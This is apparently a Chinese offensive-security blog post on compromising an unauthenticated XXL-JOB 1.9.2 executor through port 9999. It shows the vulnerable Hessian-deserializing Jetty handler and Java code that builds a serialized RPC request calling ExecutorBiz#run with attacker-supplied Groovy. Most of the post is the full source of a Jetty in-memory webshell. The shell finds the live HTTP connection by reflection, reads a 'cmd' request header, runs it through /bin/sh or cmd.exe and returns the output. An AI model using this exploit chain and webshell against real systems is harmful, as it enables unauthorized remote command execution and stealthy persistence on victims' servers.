碰到一个xxl-job,版本是1.9.2,仅仅只暴露了9999端口,并且不出网

executor未授权

我们可以从9999端口入手,com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler是一个自己实现的jetty服务,明显可以打hessian反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@Override
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {

// invoke
RpcResponse rpcResponse = doInvoke(request);

// serialize response
byte[] responseBytes = HessianSerializer.serialize(rpcResponse);

response.setContentType("text/html;charset=utf-8");
response.setStatus(HttpServletResponse.SC_OK);
baseRequest.setHandled(true);

OutputStream out = response.getOutputStream();
out.write(responseBytes);
out.flush();

}

private RpcResponse doInvoke(HttpServletRequest request) {
try {
// deserialize request
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes == null || requestBytes.length==0) {
RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);

// invoke
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null);
return rpcResponse;
} catch (Exception e) {
logger.error(e.getMessage(), e);

RpcResponse rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + e.getMessage());
return rpcResponse;
}
}

利用com.xxl.job.core.biz.impl.ExecutorBizImpl#run便可以执行代码,自行构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
        TriggerParam params = new TriggerParam();
params.setJobId(10);
params.setExecutorBlockStrategy("SERIAL_EXECUTION");
params.setLogId(10);
params.setLogDateTim((new Date()).getTime());
params.setGlueType("GLUE_GROOVY");
// params.setGlueType("GLUE_POWERSHELL");
params.setGlueSource(code);
params.setGlueUpdatetime((new Date()).getTime());

RpcRequest xxlRpcRequest = new RpcRequest();
// xxlRpcRequest.setRequestId("22222");
xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
xxlRpcRequest.setMethodName("run");
xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
xxlRpcRequest.setParameters(new Object[] {params});
xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

HessianSerializer serializer = new HessianSerializer();

byte[] data = serializer.serialize(xxlRpcRequest);

最终反射调用com.xxl.job.core.biz.ExecutorBiz的run来执行groovy,可以加载字节码

Jetty内存马

多的不说,直接上马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
package com.example;  

import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Scanner;

public class Util {
private String getReqHeaderName() {
return "cmd";
}


public Util() {
run();
}


public Field getField(Class<?> clazz, String fieldName)
{
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

private void run() {
try {
// Thread thread = Thread.currentThread();
System.out.println("start run");
Object obj ;
Object httpConnection = null;
Thread currentThread = Thread.currentThread();
System.out.println("currentThread: " + currentThread);


Field groupField = getField(Thread.class, "group");
ThreadGroup group = (ThreadGroup)groupField.get(currentThread);
System.out.println("group: " + group);

/*获取threads*/
Field threadsField = getField(ThreadGroup.class, "threads");
Thread[] threads = (Thread[])threadsField.get(group);
System.out.println("threads: " + Arrays.toString(threads));

Thread thread = currentThread;
// for (Thread thread : threads) {
if (thread != null) {
System.out.println("thread: " + thread.getName());

Field field = null;
// if (!thread.getName().contains("pool-2-thread-7,5") || !thread.getName().contains(",")) {
//// continue;
// }

System.out.println("trying threadLocals");
try{
field = getField(Thread.class, "threadLocals");
}catch (NullPointerException e){
System.out.println("threadLocals not found");
}

Object threadLocals = field.get(thread);
Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMap.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(threadLocals);

Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field valueField = entry.getDeclaredField("value");
valueField.setAccessible(true);

for (int i = 0; i < Array.getLength(table); ++i) {
obj = Array.get(table, i);
if (obj != null) {
httpConnection = valueField.get(obj);
if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) {
System.out.println("httpConnection: " + httpConnection);
break;
}
httpConnection = null;
}
} }// }

if (httpConnection == null) {
throw new RuntimeException("HttpConnection not found");
}

Object response;
Object request;
try {
Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection);
response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel);
request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel);
} catch (Exception e) {
// 兼容 Jetty(7.6.16.v20140903) response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
}
String cmd = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()});
if (cmd != null) {
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
System.out.println("cmd: " + cmd);
writer.write(exec(cmd));
writer.flush();
writer.close();
}

} catch (Exception e) {
e.printStackTrace();
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
Scanner s = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}}

想要跨线程注入需要遍历ThreadGroup